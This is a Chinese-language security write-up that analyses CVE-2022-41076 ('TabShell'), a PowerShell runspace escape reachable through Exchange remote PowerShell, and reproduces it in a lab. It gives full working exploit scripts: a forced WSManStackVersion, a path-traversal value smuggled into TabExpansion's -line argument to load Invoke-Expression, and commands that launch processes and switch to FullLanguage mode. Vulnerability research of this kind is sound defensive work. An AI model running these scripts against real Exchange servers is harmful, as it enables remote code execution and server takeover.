PowerShell远程代码执行漏洞(CVE-2022-41076)分析与复现

发布者:盛邦安全
发布于:2023-02-07 11:52

漏洞概述


PowerShell(包括Windows PowerShell和PowerShell Core)是微软公司开发的任务自动化和配置管理程序,最初只是一个 Windows 组件,由命令行 shell 和相关的脚本语言组成。后于2016年8月18日开源并提供跨平台支持。


PowerShell 命令称为 cmdlet(读作 command-let),可以用.NET 语言或 PowerShell 脚本语言本身来编写。PowerShell提供了运行空间功能,允许应用程序自定义运行空间,以限制可执行的自定义cmdlet。但在其会话中额外提供了可使用TabExpansion cmdlet,结合目录穿越可实现加载任意dll执行,导致攻击者可以执行原本不能执行的cmdlet,从而在目标机器上执行任意代码。


使用了PowerShell自定义运行空间的程序受此漏洞影响。比如Microsoft Exchange邮件服务程序通过此功能提供了远程PowerShell,以便远程管理Exchange邮件服务器,该远程PowerShell限制了危险的cmdlet和命令的执行。但是经过身份验证的远程攻击者可以在此远程PowerShell会话中利用该漏洞,在目标机器上执行任意代码。


影响范围


主流Windows操作系统(版本较多,可参考文末参考链接)、PowerShell 7.2和7.3


复现环境


服务器操作系统:Microsoft Windows Server 2012 R2 Standard 64位操作系统

服务器IP:192.168.220.162

攻击机操作系统:Win10 64位操作系统

Microsoft Exchange邮件服务程序版本:2016

分析工具:dnspy、procexp


漏洞分析


首先安装Microsoft Exchange Server 2016程序(需要先安装域,再安装Exchange,内存最好8G以上,以免出现各种异常,具体方法可参考文末参考链接),安装好后浏览器访问https://192.168.220.162/ecp,使用域管理员账号登录Exchange管理中心,添加测试账号。分析时使用的测试账号是新建的域普通用户账号,账号名:cve-user,密码为:4rfv5tgb.,以“现有用户”的方式新建用户邮箱,如下图所示:


图片


在攻击机(可以不加入域,但要保证能通过域名访问到Exchange服务器)上打开powershell控制台,使用测试账号登录Exchange提供的远程PowerShell,登录脚本如下:


    $User = "BeaconTowerLab\cve-user"$Pass = ConvertTo-SecureString -AsPlainText "4rfv5tgb." -Force$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://WIN-EN5J2DQFIF3.BeaconTowerLab.local/powershell/ -Authentication Kerberos -Credential $CredentialImport-PSSession $Session -AllowClobber


    其中$User是新建的普通域用户账号,$Pass中的字符串“4rfv5tgb.”是域用户密码,$Session中的URI“http://WIN-EN5J2DQFIF3.BeaconTowerLab.local/powershell/”是Exchange提供的远程PowerShell访问链接,请注意这里是HTTP协议,域名是Exchange服务器的域名。登录成功后,就可以执行Exchange提供的PowerShell cmdlet管理邮件服务器。比如执行 Get-Mailbox cmdlet可以查看邮箱对象和属性,脚本如下:


      Invoke-Command -Session $Session -ScriptBlock {get-mailbox}


      图片


      尝试执行其他cmdlet,比如“get-process”,试图获取Exchange服务器的进程列表,执行结果如下图所示:


      图片


      可以看到,get-process cmdlet不能被执行。说明Exchange提供的远程PowerShell限制了cmdlet,并不能执行任意cmdlet。被允许执行的cmdlet可以通过get-command来获取,执行结果如下图所示:


      图片


      这种受限制的PowerShell是由运行空间Runspace 技术实现的。使用dnspy反编译Exchange文件Microsoft.Exchange.PowerSharp.Management.dll,在类ExchangeManagementSessionFactory中,可以找到注册cmdlet代码实现的细节,如下图所示:


      图片


      在Exchange服务器上有多个w3wp.exe进程,分别处理不同的WEB请求。负责Exchange远程PowerShell登录、cmdlet执行的进程命令行参数中包含“MSExchangePowerShellAppPool”字符串,如下图所示:


      图片


      使用dnspy调试器附加上该进程,反编译系统模块System.Management.Automation.dll,在登录Exchange PowerShell时,将调用该文件包含的System.Management.Automation.Remoting.ServerRemoteSession类中的HandleCreateRunspacePool()函数。当传递参数WSManStackVersion < 3.0时,将注册额外的TabExpansion cmdlet,提供cmdlet补全功能,如下图所示:


      图片


      然后在登录成功后,可以执行TabExpansion cmdlet,补全“test”cmdlet的脚本如下:


        Invoke-Command -Session $Session -ScriptBlock {TabExpansion -line "test" -lastWord "test"}


        图片


        在TabExpansion的实现代码中,使用“|;=”字符分割传入的参数,然后执行Get-Command cmdlet,如下图所示:



        图片


        此时Get-Command cmdlet在执行的时候,将执行系统模块System.Management.Automation.dll的System.Management.Automation.CommandDiscovery类中的LookupCommandInfo()函数,如下图所示:


        图片


        其中调用函数TryModuleAutoLoading(),其下再调用函数AutoloadSpecifiedModule(),最终执行Import-Module cmdlet加载对应的模块,如下图所示:


        图片


        比如执行如下脚本,可以实现加载NetTCPIP模块。


          Invoke-Command -Session $Session -ScriptBlock { TabExpansion -line ";NetTCPIP\Test-NetConnection" -lastWord "-test" }


          这样相当于执行cmdlet:Import-Module -Name NetTCPIP,如下图所示:


          图片


          Import-Module导入的模块文件可以是模块文件.psd1、PowerShell脚本文件.ps1和托管模块文件.dll。这样一来,配合路径穿越,可以实现加载PowerShell模块文件Microsoft.PowerShell.Commands.Utility.dll。脚本如下:

            Invoke-Command -Session $Session -ScriptBlock { TabExpansion -line ";../../../../Windows/Microsoft.NET/assembly/GAC_MSIL/Microsoft.PowerShell.Commands.Utility/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.Commands.Utility.dll\Invoke-Expression" -lastWord "-test" }


            图片


            PowerShell模块加载成功后,执行Invoke-Expression cmdlet可实现执行任意命令,突破了原来使用运行空间Runspace 创建的PowerShell cmdlet限制。比如获取当前用户名的脚本如下:


              Invoke-Command $session {Microsoft.PowerShell.Commands.Utility\Invoke-Expression "[System.Security.Principal.WindowsIdentity]::GetCurrent().Name" }


              图片


              利用场景


              从漏洞分析结果可知,使用了PowerShell自定义运行空间的程序受此漏洞影响,可实现任意代码执行。根据网络上公开的消息,Exchange和Skype Business使用了该技术,可以利用该漏洞,实现远程代码执行,接管服务器。针对Exchange程序,需要以下信息,才能利用该漏洞:


              1. 一个能成功登录的邮箱账号和密码

              2. 远程PowerShell管理中心可通过账号密码访问

              3. 操作系统版本或者PowerShell版本在漏洞范围内


              漏洞复现


              漏洞分析中已经包含了Exchange的安装说明和注意事项,不再赘述。根据网上已公开的漏洞利用代码,这里再做归纳和说明。利用漏洞,获取当前用户名的脚本如下:


                $secureString = ConvertTo-SecureString -String "4rfv5tgb." -AsPlainText -Force$UserCredential = New-Object System.Management.Automation.PSCredential -ArgumentList "BeaconTowerLab\cve-user", $secureString$version = New-Object -TypeName System.Version -ArgumentList "2.0"$mytable = $PSversionTable$mytable["WSManStackVersion"] = $version$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck -ApplicationArguments @{PSversionTable=$mytable}$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://WIN-EN5J2DQFIF3.BeaconTowerLab.local/powershell -Credential $UserCredential -Authentication Kerberos -AllowRedirection -SessionOption $sessionOptionInvoke-Command -Session $Session -ScriptBlock { TabExpansion -line ";../../../../Windows/Microsoft.NET/assembly/GAC_MSIL/Microsoft.PowerShell.Commands.Utility/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.Commands.Utility.dll\Invoke-Expression" -lastWord "-test" }Invoke-Command $session {Microsoft.PowerShell.Commands.Utility\Invoke-Expression "[System.Security.Principal.WindowsIdentity]::GetCurrent().Name" }


                图片


                其中“cve-user”是新建的普通域用户账号,“4rfv5tgb.”是域用户密码,同样也是Exchange的账号和密码,“http://WIN-EN5J2DQFIF3.BeaconTowerLab.local/powershell/”是Exchange提供的远程PowerShell访问链接,请注意这里是HTTP协议,域名是Exchange服务器的域名。


                执行任意命令,比如执行计算器程序calc.exe,脚本如下:


                  Invoke-Command $session {Microsoft.PowerShell.Commands.Utility\Invoke-Expression "[Diagnostics.Process]::Start('calc.exe')" }


                  图片

                  图片


                  进入交互式PowerShell,执行任意命令,比如执行ipconfig.exe /all,脚本如下:


                    Enter-PSSession -Session $Sessioninvoke-expression "`$ExecutionContext.SessionState.LanguageMode"invoke-expression "`$ExecutionContext.SessionState.LanguageMode='FullLanguage'"$ps = new-object System.Diagnostics.Process$ps.StartInfo.Filename = "ipconfig.exe"$ps.StartInfo.Arguments = " /all"$ps.StartInfo.RedirectStandardOutput = $True$ps.StartInfo.UseShellExecute = $false$ps.start()$ps.WaitForExit()[string] $Out = $ps.StandardOutput.ReadToEnd();$Out


                    图片


                    补丁链接


                    https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41076BootstrapClassLoader


                    参考链接


                    https://zh.wikipedia.org/zh-hans/PowerShell

                    https://blog.viettelcybersecurity.com/tabshell-owassrf/

                    https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41076

                    https://blog.csdn.net/qq_44159028/article/details/123814873

                    https://github.com/balki97/OWASSRF-CVE-2022-41082-POC/blob/main/TabShell.ps1


                    原文链接


                    声明:该文观点仅代表作者本人,转载请注明来自看雪